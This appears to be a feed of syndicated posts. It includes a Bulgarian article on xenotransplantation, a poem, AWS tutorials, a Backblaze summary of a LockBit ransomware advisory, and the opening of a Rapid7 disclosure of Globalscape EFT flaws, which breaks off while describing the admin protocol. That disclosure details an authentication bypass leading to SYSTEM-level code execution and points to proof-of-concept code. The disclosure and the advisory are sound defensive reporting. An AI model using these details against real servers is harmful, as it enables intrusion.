Трансплантация на роговицата на окото позволява възстановяването на зрението при пациенти, които са го загубили заради очно заболяване. Повредена или помътняла роговица може хирургически да се замени със здрава донорска. Трансплантация на трахея (хрущялната тръба от ларинкса до бронхите и белите дробове) се прави при пациенти, които страдат от втвърдяване и стесняване на трахеята. Трансплантация на бъбреци може да се извърши както от трупен донор, така и от жив човек.

Трансплантацията на кожа е ефективно лечение за пациенти с тежки изгаряния. Тя позволява раните да заздравеят, докато пациентът все още не е готов за трансплантация на част от собствената му кожа. Трансплантация на васкуларна тъкан се прави при пациенти с тежки сърдечносъдови заболявания. Васкуларната тъкан може да се трансплантира до 24 часа след настъпването на смъртта на трупния донор.

Кратка история на междувидовата органна трансплантация

Идеята за междувидова трансплантация (ксенотрансплантация) не е нова. Тя осигурява достъп до неизчерпаемо количество органи и клетки и разрешава проблема с дългия списък от пациенти, чакащи за трансплантация. В периода XVII–XX век кръвни продукти с животински произход са вливани на хора с различни патологични състояния. През XIX век се е извършвало присаждане на кожа най-често от жаби.

През 1920 г. френският хирург от руски произход Серж Воронов предлага трансплантирането на части от тестиси на шимпанзета в същите органи на възрастни мъже, като е вярвал, че хормоните от присадката ще подмладят неговите пациенти. През XX век, след като д-р Алексис Карел разработва техниката за анастомоза на кръвоносни съдове, са направени редица опити за трансплантация от видове маймуни, които не са човекоподобни. През 1963–1964 г., когато диализата все още не се е използвала, д-р Кийт Римтсма трансплантира бъбреци от шимпанзета на 13 пациенти. Един от пациентите се връща на работа след 9 месеца, но умира внезапно (тогава се предполага, че причината е електролитен дисбаланс).

Първата сърдечна трансплантация при човек е извършена през 1964 г. от д-р Джеймс Харди. Той използва сърце от шимпанзе, но пациентът умира след 2 часа. През 1966 г. д-р Томас Старзъл прави първата чернодробна трансплантация от шимпанзе, а през 1992-ра негов пациент оцелява 70 дни след чернодробна ксенотрансплантация от павиан.

Избор на ксенотрансплант и необходимостта от генно модифициране на органите

С развитието на генното инженерство започва да се изследва потенциалната роля на органите от прасета за трансплантация при хора, но след провеждане на определени манипулации, които предпазват техните тъкани от имунната система на човека. Все пак защо прасето е предпочитаният вид, при условие че човекоподобните маймуни са по-близки генетично и размерът и структурата на техните органи имат по-голямо сходство с човешките? На първо място, шимпанзетата, които най-много се доближават до човека, са застрашен от изчезване вид и евентуалното им използване би породило етични въпроси, част от които така или иначе са налице при ксенотрансплантацията.

От друга страна, най-многобройният вид нечовекоподобни маймуни – павианите, са малки по-размер и сърцето им не е подходящо за трансплантация при възрастни хора, въпреки че бъбреците и черният дроб биха могли да се използват. И все пак павианите не са подходящи, тъй като са носители на редица потенциално патогенни микроорганизми, а осигуряването на маймуни, които не са носители на такива, би било бавен и скъп процес. За разлика от тях, прасетата са опитомени животни с подходящ размер и може да се отглеждат здрави (да не са носители на патогени) в голям брой.

Следва въпросът как да се превъзмогне имунологичният проблем – възникването на свръхостра реакция на отхвърляне на присадката. Тя се дължи на свързването на антитела (серумни гликопротеини, които се образуват след проникване на антиген в организма и могат специфично да се свързват с него) от човешкото тяло към ендотела на присадката, последвано от активирането на системата на комплемента (редица малки протеини в кръвта, които допълват антителата и спомагат за унищожаването на патогените в организма).

За да разрешат този проблем, учените се фокусират главно върху присадката на донора, а не върху реципиента. Създадени са трансгенни прасета с определени генетични промени, имащи за цел да инхибират активацията на комплемента. Преди да се премине към опити за трансплантиране на органи от прасета в тялото на хора, маймуните са използвани като моделни животни, при които се изследва възможността за предотвратяването на свръхостра реакция на отхвърляне на съответния трансплантиран орган от прасе.

Първата трансплантация на генномодифицирано сърце от прасе на човек

Първата в света трансплантация на сърце от прасе на човек е проведена в Университетската болница в Мериленд (Балтимор, САЩ). На 57-годишен мъж в последен стадий на сърдечна болест е направена успешна трансплантация на генномодифицирано сърце от прасе. След тази експериментална операция пациентът е имал възможност да се движи свободно без помощта на кардиопулмонален байпас (машина, която временно поема функциите на сърцето и белите дробове).

С тази историческа операция е преодоляна най-неразрешимата пречка – свръхострата имунна реакция на отхвърляне на присадката. Постигнат е добър, но краткотраен резултат, тъй като състоянието на пациента се влошава и той умира на 9 март 2022 г., два месеца след сърдечната трансплантация.

Сърцето на прасето преминава през цели десет генетични модификации. Изключени са три гена, свързани с имунно отхвърляне и са добавени шест човешки гена и един ген за инактивиране на растежа с цел контрол на размера на сърцето. Елиминирането на ксеноантигени с генно инженерство е подход, с който се понижава имунният отговор на отхвърляне. След като тези гени са изключени, прасетата остават здрави и голяма част от клетките на присадката не могат да провокират имунен отговор след контакт с човешките имунни клетки.

В друга група генномодифицирани клетки от прасета, които остават имунореактивни към човешките клетки, имунните отговори са предизвикани от левкоцитните антигени от клас I при прасетата (SLA), еквивалентни на човешките левкоцитни антигени от клас I (HLA). Изтриването на тези SLA гени може да подобри толеранса на реципиента към органите от прасетата. Друг подход за минимизиране на отхвърлянето на присадката е генното модифициране на компонентите на комплемента и гените, отговорни за съсирването на кръвта.

Направени са опити за въвеждане на генномодифицирани човешки гени, участващи в коагулацията в клетките на прасета, което води до по-продължително оцеляване на присадката. Генното инженерство не спира дотук. Друг проблем е системният възпалителен отговор при реципиента, който може да се преодолее с генетично модифициране на човешките антивъзпалителни гени и въвеждането им в клетките на органите на прасетата.

Освен споменатата възможност за пренасяне на патогенни бактерии и вируси, съществува интересен феномен както при хората, така и при прасетата. В генома на всяка човешка клетка има гени, кодиращи човешки ендогенни вируси (HERV). Смята се, че те нямат патогенен ефект и нямат роля в развитието на заболявания при човека. По подобен начин в генома на прасетата участват свински ендогенни ретровируси (PERV), които също не са свързани с развитието на заболявания при прасетата.

Повод за притеснение е неизясненият въпрос дали трансферът на PERV при човека може да бъде патогенен, или рекомбинацията между PERV и HERV може да доведе до възникването на нов вирус с патогенен характер. В момента мнението на учените е, че PERV най-вероятно не са патогенни за човека, но е по-добре да се предотврати активирането на тези гени.

Етични проблеми

Използването на животни като източник на органи не се възприема от активистите за правата на животните, които отчитат, че те са интелигентни, чувствителни и способни да изпитват болка. Въпреки че някои религиозни традиции, като юдейската и мюсюлманската, забраняват консумацията на продукти от свинско месо, и в тези общности се намират гласове в подкрепа на трансплантацията на органи от прасета с аргумента, че целта е запазването на човешки живот.

Дори ако органите от прасетата са в изобилие, етичните проблеми няма да бъдат разрешени. Например цената на една трансплантация може да стане много по-висока от сегашната и потенциалните реципиенти ще бъдат основно финансово заможни хора. Това се смята за несправедливо предимство пред тези, които не са в състояние да си позволят процедурата. Здравноосигурителните компании също може да не желаят да платят високите разходи.

Бъдещето на трансплантациите

Алтернативите за решаване на недостига на човешки органи от трупни донори включват подходите на регенеративна медицина, както и използването на стволови клетки. Нито един от тези подходи все още не е достигнал етапа на клинично изпитване, затова и ксенотрансплантацията е на преден план. Механичните помощни устройства за поддържане или заместване на болно сърце всъщност са в много по-напреднал етап на развитие от ксенотрансплантацията. И все пак биологичното човешко сърце продължава да има най-много предимства пред всички останали варианти.

Заглавно изображение: Органна трансплантация. Източник: Vecteezy.com Miguel Angel

Бавно

Post Syndicated from Тоест original https://www.toest.bg/stihotvorenie-na-mesetsa-bavno/

Бавно

Нищо между нас не се назовава „припряност“.
Опознаваме се така, бавно, вниманието
е очертало собствените си лабиринти. Винаги
жестовете засягат най-напред кожата. Ако пък
бъде открехната вратата към лятото, ще се види все същото –
онова, което остава отвъд равнината и стръмнината; островът,
едно стадо, една лодка с надеждата да отплава, една дума,
която не ще напишем никога. Между нас
времето приема очертанията си така, бавно.
Винаги бихме го подарили срещу една малка заблуда.

Мария до Розарио Педрейра
Превод от португалски Мария Георгиева и Цочо Бояджиев

Мария до Розарио Педрейра (Лисабон, 1959) е португалска поетеса,
издателка, авторка на юношеска литература и текстове на фадо. Печели множество литературни награди. Като издателка също жъне много успехи. Смятана е за най-голямата откривателка на литературни таланти през последните години в Португалия. До края на 2023 г. нейни избрани стихотворения ще излязат в антология с още двама португалски поети в „Издателство за поезия ДА“.

Мария Георгиева (София, 1987) е преводачка от португалски език. Превежда съвместно с проф. Цочо Бояджиев съвременни португалски поети, сред които Филипа Леал, Мануел де Фрейташ, Педро Мешиа, Жоао Луиш Барето Гимарайш, Нуно Жудисе и др.

Цочо Бояджиев (Троян, 1951) е философ, историк, преводач и поет, професор по история на античната и средновековната философия в СУ „Св. Климент Охридски“. Сред превежданите от него автори са Аристотел, Плотин, Марсилио Фичино, Тома от Аквино, Майстер Екхарт, Братя Грим, Мартин Хайдегер и много други.

Според Екатерина Йосифова „четящият стихотворение сутрин… добре понася другите часове“ от деня. Убедени, че поезията държи умовете ни будни, а сърцата – отворени, в края на всеки месец ви предлагаме по едно стихотворение. Защото и в най-смутни времена доброто стихотворение е добра новина.

Testing AWS Lambda functions with AWS SAM remote invoke

Post Syndicated from Eric Johnson original https://aws.amazon.com/blogs/compute/testing-aws-lambda-functions-with-aws-sam-remote-invoke/

Developers are taking advantage of event driven architecture (EDA) to build large distributed applications. To build these applications, developers are using managed service like AWS Lambda, AWS Step Functions, and Amazon EventBridge to handle compute, orchestration, and choreography. Since these services run in the cloud, developers are also looking for ways to test in the cloud. With this in mind, AWS SAM is adding a new feature to the AWS SAM CLI called remote invoke.

AWS SAM remote invoke enables developers to invoke a Lambda function in the AWS Cloud from their development environment. The feature has several options for identifying the Lambda function to invoke, the payload event, and the output type.

Using remote invoke

To test the remote invoke feature, there is a small AWS SAM application that comprises two AWS Lambda functions. The TranslateFunction takes a text string and translates it to the target language using the AI/ML service Amazon Translate. The StreamFunction generates data in a streaming format. To run these demonstrations, be sure to install the latest AWS SAM CLI.

To deploy the application, follow these steps:

  1. Clone the repository: 
    git clone https://github.com/aws-samples/aws-sam-remote-invoke-example
  2. Change to the root directory of the repository: 
    cd aws-sam-remote-invoke-example
  3. Build the AWS Lambda artifacts (use the –use-container option to ensure Python 3.10 and Node 18 are present. If these are both set up on your machine, you can ignore this flag): 
    sam build --use-container
  4. Deploy the application to your AWS account: 
    sam deploy --guided
  5. Name the application “remote-test” and choose all defaults.

AWS SAM can now remotely invoke the Lambda functions deployed with this application. Use the following command to test the TranslateFunction:

sam remote invoke --stack-name remote-test --event '{"message":"I am testing the power of remote invocation", "target-language":"es"}' TranslateFunction

This is a quick way to test a small event. However, developers often deal with large complex payloads. The AWS SAM remote invoke function also allows an event to be passed as a file. Use the following command to test:

sam remote invoke --stack-name remote-test --event-file './events/translate-event.json' TranslateFunction

With either of these methods, AWS SAM returns the response from the Lambda function as if it were called from a service like Amazon API Gateway. However, AWS SAM also offers the ability to get the raw response as returned from the Python software development kit (SDK), boto3. This format provides additional information such as the version that you invoked, if any retries were attempted, and more. To retrieve this output, run the invocation with the additional –output parameter with the value of json.

sam remote invoke --stack-name remote-test --event '{"message": "I am testing the power of remote invocation", "target-language": "es"}' --output json TranslateFunction
Full output from SDK

Full output from SDK

It is also possible to invoke Lambda functions that are not created in AWS SAM. Using the name of a Lambda function, AWS SAM can remotely invoke any Lambda function that you have permission to invoke. When you deployed the sample application, AWS SAM prints the name of the Lambda function in the console. Use the following command to print the output again:

sam list stack-outputs --stack-name remote-test

Using the output for the TranslateFunctionName, run:

sam remote invoke --event '{"message": "Testing direct access of the function", "target-language": "fr"}' <TranslateFunctionName>

Lambda recently added support from streaming responses from Lambda functions. Streaming functions do not wait until the entire response is available before they respond to the client. To show this, the StreamFunction generates multiple chunks of text and sends them over a period of time.

To invoke the function, run:

sam remote invoke --stack-name remote-test StreamFunction

Extending remote invoke

The AWS SDKs offer different options when invoking Lambda functions via the Lambda service. Behind the scenes, AWS SAM is using boto3 to power the remote invoke functionality. To make full use of the SDK options for Lambda function invocation, the AWS SAM offers a —parameter flag that can be used multiple times.

For example, you may want to run an invocation as a dry run only. This type of invocation tests Lambda’s ability to invoke the function based on factors like variable values and proper permissions. The command looks like the following:

sam remote invoke --stack-name remote-test --event '{"message": "I am testing the power of remote invocation", "target-language": "es"}' --parameter InvocationType=DryRun --output json TranslateFunction

In a second example, I want to invoke a specific version of the Lambda function:

sam remote invoke --stack-name remote-test --event '{"message": "I am testing the power of remote invocation", "target-language": "es"}' --parameter Qualifier='$LATEST' TranslateFunction

If you need both options:

sam remote invoke --stack-name remote-test --event '{"message": "I am testing the power of remote invocation", "target-language": "es"}' --parameter InvocationType=DryRun --parameter Qualifier='$LATEST' --output json TranslateFunction

Logging

When developing distributed applications, logging is a critical tool to trace the state of a request across decoupled microservices. AWS SAM offers the sam logs functionality to help view aggregated logs and traces from Amazon CloudWatch and AWS X-Ray, respectively. However, when testing individual functions, developers want contextual logs pinpointed to a specific invocation. The new remote invoke function provides these logs by default. Returning to the TranslateFunction, run the following command again:

sam remote invoke --stack-name remote-test --event '{"message": "I am testing the power of remote invocation", "target-language": "es"}' TranslateFunction
Logging response from remote invoke

Logging response from remote invoke

The remote invocation returns the response from the Lambda function, any logging from within the Lambda function, followed by the final report from the Lambda service about the invocation itself.

Combining remote invoke with AWS SAM Accelerate

Developers are constantly striving to remove complexity and friction and improve speed and agility in the development pipeline. To help serverless developers towards this goal, the AWS SAM team released a feature called AWS SAM Accelerate. AWS SAM Accelerate is a series of features that move debugging and testing from the local machine to the cloud.

To show how AWS SAM Accelerate and remote invoke can work together, follow these steps:

  1. In a separate terminal, start the AWS SAM sync process with the watch option: 
    sam sync --stack-name remote-test --use-container --watch
  2. In a second window or tab, run the remote invoke function: 
    sam remote invoke --stack-name remote-test --event-file './events/translate-event.json' TranslateFunction

The combination of these two options provides a robust auto-deployment and testing environment. During iterations of code in the Lambda function, each time you save the file, AWS SAM syncs the code and any dependencies to the cloud. As needed, the remote invoke is then run to verify the code works as expected, with logging provided for each execution.

Conclusion

Serverless developers are looking for the most efficient way to test their applications in the AWS Cloud. They want to invoke an AWS Lambda function quickly without having to mock security, external services, or other environment variables. This blog shows how to use the new AWS SAM remote invoke feature to do just that.

This post shows how to invoke the Lambda function, change the payload type and location, and change the output format. It explains using this feature in conjunction with the AWS SAM Accelerate features to streamline the serverless development and testing process.

For more serverless learning resources, visit Serverless Land.

AlmaLinux’s response to Red Hat’s policy change

Post Syndicated from original https://lwn.net/Articles/935918/

The AlmaLinux organization has posted a message
describing the impact of Red Hat’s decision to stop releasing the source to
the RHEL distribution and how AlmaLinux will respond.

In the immediate term, our plan is to pull from CentOS Stream
updates and Oracle Linux updates to ensure security patches
continue to be released. These updates will be carefully curated to
ensure they are 1:1 compatible with RHEL, while not violating Red
Hat’s licensing, and will be vetted and tested just like all of our
other releases.

Репортаж от Бургас Трима отличени и от „Биволъ“. С награди приключи Десетият международен литературен ученически конкурс на „Алеф“

Post Syndicated from Екип на Биволъ original https://bivol.bg/nagradeni-alef-bivol.html

четвъртък 22 юни 2023


На впечатляваща и емоционална церемония Център за еврейско-българско сътрудничество „Алеф” връчи наградите на победителите в юбилейното десето издание на Международния ученически конкурс „Който спаси един човешки живот, спасява цяла вселена”.…

Deploying state machines incrementally with versions and aliases in AWS Step Functions

Post Syndicated from Benjamin Smith original https://aws.amazon.com/blogs/compute/deploying-state-machines-incrementally-with-versions-and-aliases-in-aws-step-functions/

This post is written by Peter Smith, Principal Engineer for AWS Step Functions

This blog post explains the new versions and aliases feature in AWS Step Functions, allowing you to run specific revisions of the state machine instead of always using the latest. This allows for more reliable deployments that help control risk, and provide visibility into exactly which version is run. This post describes how to use this feature, with incremental deployment patterns such as blue/green, canary, and linear deployments, each providing greater assurance that your state machine updates are sufficiently tested.

Step Functions is a low-code, visual workflow service to build distributed applications. Developers use the service to automate IT and business processes, and orchestrate AWS services with minimal code. It uses the Amazon States Language (ASL) to describe state machines and you can modify their definition over time. Until now, when a state machine was run, it used the ASL definition from the most recent update. If the latest change contained defects, disruptions could occur. The resolution either required another ASL update to fix the problem, or an explicit action to revert the state machine to a previous definition.

Using versions and aliases

Every update to a state machine’s ASL definition can now be versioned, either via the Step Functions console, the AWS SDK, the AWS CLI, AWS CloudFormation, or a similar tool. You must choose to publish a new version explicitly, usually at the same time your ASL definition is updated. Version numbers are automatically assigned, starting with version 1.

To control which version of a state machine runs, you can now append a version number to the state machine ARN:

aws stepfunctions start-execution –-state-machine-arn \ 
    arn:aws:states:us-east-1:123456789012:stateMachine:demo:5

This example starts version 5 of the demo state machine. Even if the state machine has since been updated, qualifying the state machine ARN ensures that version 5’s definition is used. You can now test newer versions (such as version 6) with confidence that executions of version 5 continue without interruption.

To ease the management of versions, symbolic aliases can be assigned to a specific version, but then be updated at any time to refer to a different version. It’s also possible for an alias to split execution requests between two different versions. For example, 90% of executions use version 5, and 10% use version 6.

To start a state machine execution using an alias, you can now append the alias name (such as prod) to the state machine ARN:

aws stepfunctions start-execution –-state-machine-arn \ 
    arn:aws:states:us-east-1:123456789012:stateMachine:demo:prod

This example runs the state machine version that the prod alias currently refers to. If prod splits executions between two versions, one of them is selected based on the assigned weights. For example, version 5 is chosen 90% of the time, and version 6 is chosen 10% of the time.

Incremental deployment use cases

Using common deployment patterns helps avoid the pitfalls of traditional “big bang” updates, such as all executions failing when new software is deployed. By using an alias to gradually transition state machine executions to the newly published version (for example, 10% at a time), newly introduced bugs have limited impact. Once there’s confidence in the new version, it can be used for the entire production workload.

Blue/green deployments

In this approach, the existing state machine version (currently used in production) is the “blue” version, whereas a newly deployed state machine is the “green” version. As a rule, you should deploy the blue version in production, while testing the newer green version in a separate environment. Once the green version is validated, use it in production (it becomes the new blue version).

If version 6 causes issues in production, roll back the “blue” alias to the previous value so that executions revert to version 5.

This approach provides a higher degree of quality assurance for state machines. However, unless your test suite provides an accurate representation of your production workload, you should also consider canary or linear (or rolling) deployments to validate with real data.

Canary and linear deployments

With canary deployments, configure the prod alias to split traffic between the earlier version (for example, 95% of requests) and the new version (5% of requests). If there’s no resulting increase in failures, you can adjust the alias to direct 100% of requests to the new version. On failure, revert the alias to send 100% of requests to the earlier version.

A linear deployment takes a similar approach, but incrementally adjusts the weights over time until the new version receives 100% of requests. For example, start with 10%/90%, then 20%/80%, continuing at regular intervals until you reach 100%/0%. If an elevated number of failures is detected, immediately rollback to the earlier version.

Deploying a full application

Another scenario is when state machines are deployed as part of a larger application, with the application code and state machine being updated in lock-step. The following example shows a blue/green deployment where the application version 56 uses state machine version 5, and application version 64 uses version 6.

The application must use the correct version ARN when invoking the state machine. This avoids unexpected behavior changes in the blue version when the green version (still to be tested) is first deployed. If you unintentionally use the unqualified ARN (without the version number), the outdated application (version 56) would incorrectly use the latest state machine definition (version 6) instead of the previously deployed version 5.

Observability and auditing use cases

A significant benefit of using version ARNs is seen when examining execution history, especially with long-running executions. State machines can run for up to one year, accessing other AWS resources (such as AWS Lambda functions) throughout this time. For the sake of auditing resources, it’s important to know the version of each running state machine. Once all executions have completed, you can remove the resources they depend on (in the following example, the ProcessInventory Lambda function).

Depending on your use case, you may have other auditing or compliance needs where it’s important to know exactly which version of the state machine you’re running.

Feature walkthrough

To create a new state machine version in the Step Functions console, choose Publish Version immediately after saving your state machine definition. You are prompted to enter an optional description, such as “Initial Implementation”.

You can also choose Publish Version after updating an existing state machine, adding an optional description for the recent changes, such as “Add retry logic”.

On the main state machine detail page, there are two new tabs: Aliases and Versions. The Versions tab shows a list of state machine versions, their descriptions, when each was last run, and which aliases refer to that version. This example shows several new versions.

To start running a specific version, select the radio button to the left of the version number, then choose Start execution.

On the state machine detail page, choose the Executions tab to see the completed and in-progress executions. Additional columns indicate which version or alias started each execution. You can filter the execution list by version or alias to refine the list.

To create a state machine alias, return to the state machine detail page, select the Alias tab, then choose Create Alias. Provide an alias name, an optional description, and a routing configuration. For the simple case, select a single version to use (100% of executions) whenever an execution is started using the alias.

To create an alias that routes traffic to two versions (as seen in the incremental-deployment examples), provide a routing configuration with two different version numbers. Specify the percentage of the state machine executions for each of the versions.

Implementing CI/CD Deployments with AWS CloudFormation

To support incremental deployments, new AWS CloudFormation resources are able to publish state machine versions, define aliases, and to incrementally deploy state machine updates using a blue/green, canary, or linear approach.

The following example shows the AWS::StepFunctions::StateMachine, AWS::StepFunctions::StateMachineVersion, and AWS::StepFunctions::StateMachineAlias resources used to define a state machine, to publish a single version, and to deploy using the prod alias linearly.

Description: "Example of Linear Deployment of a State Machine"

Parameters:
  StateMachineBucket:
    Type: "String"
  StateMachineKey:
    Type: "String"
  StateMachineRole:
    Type: "String"

Resources:
  DemoStateMachine:
    Type: "AWS::StepFunctions::StateMachine"
    Properties:
      StateMachineName: DemoStateMachine
      DefinitionS3Location:
        Bucket: !Ref StateMachineBucket
        Key: !Ref StateMachineKey
      RoleArn: !Ref StateMachineRole

  DemoStateMachineVersion:
    Type: "AWS::StepFunctions::StateMachineVersion"
    Properties:
      StateMachineArn: !Ref DemoStateMachine
      StateMachineRevisionId: !GetAtt DemoStateMachine.StateMachineRevisionId

  DemoAlias:
    Type: "AWS::StepFunctions::StateMachineAlias"
    Properties:
      Name: prod
      DeploymentPreference:
        StateMachineVersionArn: !Ref DemoStateMachineVersion
        Type: LINEAR
        Interval: 2
        Percentage: 20
        Alarms:
          - !Ref DemoCloudWatchAlarm

Each time you modify the state machine, update the StateMachineKey parameter with a new date-stamped file, such as state_machine-202305251336.asl.json, then redeploy the CloudFormation template. Executions of this state machine linearly transition from the previous version to the new version over a ten-minute period, using five equal intervals of two minutes each. If the specified Amazon CloudWatch Alarm is triggered, the alias automatically rolls back to the previous state machine version.

Additionally, for users of common third-party CI/CD tools, such as Jenkins or Spinnaker, or even your custom systems, a reference implementation demonstrates how to implement incremental deployments using the AWS SDK or AWS CLI, complete with automated rollback if a CloudWatch alarm is triggered.

Pricing and availability

Customers can use Step Functions versions and aliases within all Regions where Step Functions is available. Step Functions versions and aliases is included in Step Functions pricing at no additional fee.

Conclusion

The new Step Functions versions and aliases feature allows you to run specific revisions of the state machine, instead of always using the latest. This allows for more reliable deployments that help control deployment risks, and also provide visibility into exactly which version was run. After updating your state machine definition, you may optionally publish a version of that state machine, then run the version by using a versioned state machine ARN.

Likewise, an alias (such as test or prod) can reference state machine versions that change over time. For example, starting an execution using the prod alias ensures that you only use well-tested revisions of the state machine, even if newer non-production-ready revisions are present.

Aliases can split executions between two different versions, using percentage weights to choose between them. This feature supports incremental-deployment patterns such as blue/green, canary, and linear deployments, each providing greater assurance that your state machine updates deploy successfully.

For more serverless learning resources, visit Serverless Land.

1,700 Attacks in Three Years: How LockBit Ransomware Wreaks Havoc

Post Syndicated from Mark Potter original https://www.backblaze.com/blog/1700-attacks-in-three-years-how-lockbit-ransomware-wreaks-havoc/

A decorative image displaying the words Ransomware Updates: LockBit Q2 2023.

The Cybersecurity and Infrastructure Security Agency (CISA) released a joint ransomware advisory last Wednesday, reporting that LockBit ransomware has proven to be the most popular ransomware variant in the world after executing at least 1,700 attacks and raking in $91 million in ransom payments. 

Today, I’m recapping the advisory and sharing some best practices for protecting your business from this prolific threat.

What Is LockBit?

LockBit is a ransomware variant that’s sold as ransomware as a service (RaaS). The RaaS platform requires little to no skill to use and provides a point and click interface for launching ransomware campaigns. That means the barrier to entry for would-be cybercriminals is staggeringly low—they can simply use the software as affiliates and execute it using LockBit’s tools and infrastructure. 

LockBit either gets an up-front fee, subscription payments, a cut of the profits from attacks, or a combination of all three. Since there are a wide range of affiliates with different skill levels and no connection to one another other than their use of the same software, no LockBit attack is the same. Observed tactics, techniques, and procedures (TTP) vary which makes defending against LockBit particularly challenging.

Who Is Targeted by LockBit?

LockBit victims range across industries and sectors, including critical infrastructure, financial services, food and agriculture, education, energy, government, healthcare, manufacturing, and transportation. Attacks have been carried out against organizations large and small. 

What Operating Systems (OS) Are Targeted by LockBit?

By skimming the advisory, you may think that this only impacts Windows systems, but there are variants available through the LockBit RaaS platform that target Linux and VMware ESXi.

How Do Cybercriminals Gain Access to Execute LockBit?

The Common Vulnerabilities and Exposures (CVEs) Exploited section lists some of the ways bad actors are able to get in to drop a malicious payload. Most of the vulnerabilities listed are older, but it’s worth taking a moment to familiarize yourself with them and make sure your systems are patched if they affect you.

In the MITRE ATT&CK Tactics and Techniques section, you’ll see the common methods of gaining initial access. These include:

  • Drive-By Compromise: When a user visits a website that cybercriminals have planted with LockBit during normal browsing.
  • Public-Facing Applications: LockBit cybercriminals have used vulnerabilities like Log4J and Log4Shell to gain access to victims’ systems.
  • External Remote Services: LockBit affiliates exploit remote desktop procedures (RDP) to gain access to victims’ networks.
  • Phishing: LockBit affiliates have used social engineering tactics like phishing, where they trick users into opening an infected email.
  • Valid Accounts: Some LockBit affiliates have been able to obtain and abuse legitimate credentials to gain initial access.

How to Prevent a LockBit Attack

CISA provides a list of mitigations that aim to enhance your cybersecurity posture and defend against LockBit. These recommendations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs are based on established cybersecurity frameworks and guidance, targeting common threats, tactics, techniques, and procedures. Here are some of the key mitigations organized by MITRE ATT&CK tactic (this is not an exhaustive list):

Initial Access:

  • Implement sandboxed browsers to isolate the host machine from web-borne malware.
  • Enforce compliance with NIST standards for password policies across all accounts.
  • Require longer passwords with a minimum length of 15 characters.
  • Prevent the use of commonly used or compromised passwords.
  • Implement account lockouts after multiple failed login attempts.
  • Disable password hints and refrain from frequent password changes.
  • Require multifactor authentication (MFA). 

Execution:

  • Develop and update comprehensive network diagrams.
  • Control and restrict network connections using a network flow matrix.
  • Enable enhanced PowerShell logging and configure PowerShell instances with the latest version and logging enabled.
  • Configure Windows Registry to require user account control (UAC) approval for PsExec operations.

Privilege Escalation:

  • Disable command-line and scripting activities and permissions.
  • Enable Credential Guard to protect Windows system credentials.
  • Implement Local Administrator Password Solution (LAPS) if using older Windows OS versions.

Defense Evasion:

  • Apply local security policies (e.g., SRP, AppLocker, WDAC) to control application execution.
  • Establish an application allowlist to allow only approved software to run.

Credential Access:

  • Restrict NTLM usage with security policies and firewalling.

Discovery:

  • Disable unused ports and close unused RDP ports.

Lateral Movement:

  • Identify and eliminate critical Active Directory control paths.
  • Use network monitoring tools to detect abnormal activity and potential ransomware traversal.

Command and Control:

  • Implement a tiering model and trust zones for sensitive assets.
  • Reconsider virtual private network (VPN) access and move towards zero trust architectures.

Exfiltration:

  • Block connections to known malicious systems using a TLS Proxy.
  • Use web filtering or a Cloud Access Security Broker (CASB) to restrict or monitor access to public-file sharing services.

Impact:

  • Develop a recovery plan and maintain multiple copies of sensitive data in a physically separate and secure location.
  • Maintain offline backups of data with regular backup and restoration practices.
  • Encrypt backup data, make it immutable, and cover the entire data infrastructure.

By implementing these mitigations, organizations can significantly strengthen their cybersecurity defenses and reduce the risk of falling victim to cyber threats like LockBit. It is crucial to regularly review and update these measures to stay resilient in the face of evolving threats.

Ransomware Resources

Take a look at our other posts on ransomware for more information on how businesses can defend themselves against an attack, and more.

And, don’t forget that we offer a thorough walkthrough of ways to prepare yourself and your business for ransomware attacks—free to download below.

Download the Ransomware Guide ➔ 

The post 1,700 Attacks in Three Years: How LockBit Ransomware Wreaks Havoc appeared first on Backblaze Blog | Cloud Storage & Cloud Backup.

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Post Syndicated from Ron Bowes original https://blog.rapid7.com/2023/06/22/multiple-vulnerabilities-in-fortra-globalscape-eft-administration-server-fixed/

Multiple Vulnerabilities in Fortra Globalscape EFT Administration Server [FIXED]

Earlier this year, Rapid7 researchers undertook a project to analyze managed file transfer applications, due to the number of recent vulnerabilities discovered in those types of applications. We chose Fortra Globalscape EFT as a target since it’s reasonably popular and seemed complex enough to have some bugs (plus, it’s owned by the same company as GoAnywhere, which was exploited by the Cl0p ransomware gang earlier this year). Today, we are disclosing four issues that we uncovered in the Globalscape administration server, the worst of which can lead to remote code execution as the SYSTEM user if successfully exploited (which is difficult, as we’ll see below).

The issues we reported affect Fortra Globalscape 8.0.x up to 8.1.0.14, and all but one are fixed in 8.1.0.16 (the outstanding issue is currently unfixed, but minor):

  • CVE-2023-2989 – Authentication bypass via out-of-bounds memory read (vendor advisory)
  • CVE-2023-2990 – Denial of service due to recursive DeflateStream (vendor advisory)
  • CVE-2023-2991 – Remote hard drive serial number disclosure (vendor advisory) (not currently fixed)
  • Additional issue – Password leak due to insecure default configuration (vendor advisory)

We performed these tests on Globalscape version 8.1.0.11 on Windows Server 2022, but the impact should be the same on any Windows version.

Credit

This issue was discovered by Ron Bowes of Rapid7. We are disclosing it in accordance with Rapid7’s vulnerability disclosure policy.

Impact

The theoretical impact of the worst vulnerability—CVE-2023-2989—is remote code execution as the SYSTEM user. However, exploitation relies on a tricky confluence of circumstances and an unlikely guess, which means that the odds of exploitation in the wild are low (unless somebody finds a way to develop a more reliable exploit).

Technical Details

Our research project focused on the Globalscape administration server, which runs on TCP port 1100 by default. Port 1100 is the interface used by privileged users when they connect to the service using the remote administration client, as well as the interface used by administrators to make site-wide changes (which means it shouldn’t be connected to the public internet). A valid administration session can execute Windows commands on the server in the context of the service user, which is SYSTEM by default. This means that bypassing the authentication on the server leads directly to remote code execution.

We will begin by detailing the network protocol. Then, with knowledge of how the protocol works, we’ll look at each issue.

A partial implementation of the protocol, as well as proofs of concept for each of these issues, are available in a Github project called Gestalt. We’ll link to the individual proof of concept in each session.

Globalscape Admin Protocol

To make any sense of the remainder of this disclosure, we need to learn a bit about the Globalscape admin protocol that Globalscape EFT uses. Since we don’t have source code, we’ve reverse engineered how the protocol works and identified names and fields as best as we could. The original protocol implementation is in the service executable, cftpstes.exe, and ours is in libgestalt.rb.

Globalscape EFT’s administrator service is a binary-based protocol that runs on TCP port 1100 by default. Each message has a short (8-byte) header followed by zero or more parameters in an optional body.

The header is always comprised of exactly two 32-bit little-endian fields:

  • (32-bit) Packet length – used as part of the TCP protocol to read a full message off the wire, and also tells the parser when to stop reading packet data
  • (32-bit) Message ID – used to multiplex different message types (without authenticating, permitted messages are 0x01 (login), and 0x138-0x13a (licensing stuff))

